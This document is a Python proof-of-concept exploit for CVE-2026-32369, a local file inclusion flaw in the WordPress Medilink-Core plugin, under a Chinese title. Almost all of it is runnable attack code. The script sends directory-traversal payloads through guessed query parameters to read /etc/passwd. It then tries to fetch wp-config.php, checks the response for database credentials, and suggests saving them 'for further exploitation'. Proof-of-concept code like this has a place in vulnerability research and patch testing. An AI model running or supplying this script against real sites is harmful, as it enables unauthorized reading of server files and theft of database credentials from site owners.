CVE-2026-32369 Medilink-Core插件本地文件包含漏洞

# CVE-2026-32369 PoC - Medilink-Core Local File Inclusion # Target: WordPress site with Medilink-Core plugin < 2.0.7 import requests import sys def exploit_lfi(target_url, file_path='/etc/passwd'): """ Exploit Local File Inclusion vulnerability target_url: Base URL of the vulnerable WordPress site file_path: Local file to read (default: /etc/passwd) """ # Common vulnerable parameter patterns in WordPress plugins vulnerable_params = [ '?page=../../../../../../{}', '?action=include&file=../../../../../../{}', '?controller=../../../../../../{}', '?module=../../../../../../{}', '?include_file=../../../../../../{}', '?load=../../../../../../{}' ] for param_pattern in vulnerable_params: url = target_url + param_pattern.format(file_path) try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f'[+] Potential LFI found at: {url}') print(f'[+] Response preview:') print(response.text[:500]) return True except requests.RequestException as e: print(f'[-] Error: {e}') return False def read_wp_config(target_url): """ Attempt to read WordPress configuration file """ wp_config_paths = [ '../../../../../../wp-config.php', '../../../../../../../wp-config.php', '../wp-config.php', '../../wp-config.php' ] for path in wp_config_paths: url = target_url + '?page=' + path try: response = requests.get(url, timeout=10) if 'DB_NAME' in response.text or 'DB_USER' in response.text: print(f'[+] wp-config.php content found!') return response.text except requests.RequestException: continue return None if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2026-32369.py <target_url>') print('Example: python cve-2026-32369.py http://example.com') sys.exit(1) target = sys.argv[1].rstrip('/') print(f'[*] Testing CVE-2026-32369 on {target}') # Test basic LFI exploit_lfi(target) # Try to read wp-config.php config = read_wp_config(target) if config: print('[+] Save config for further exploitation')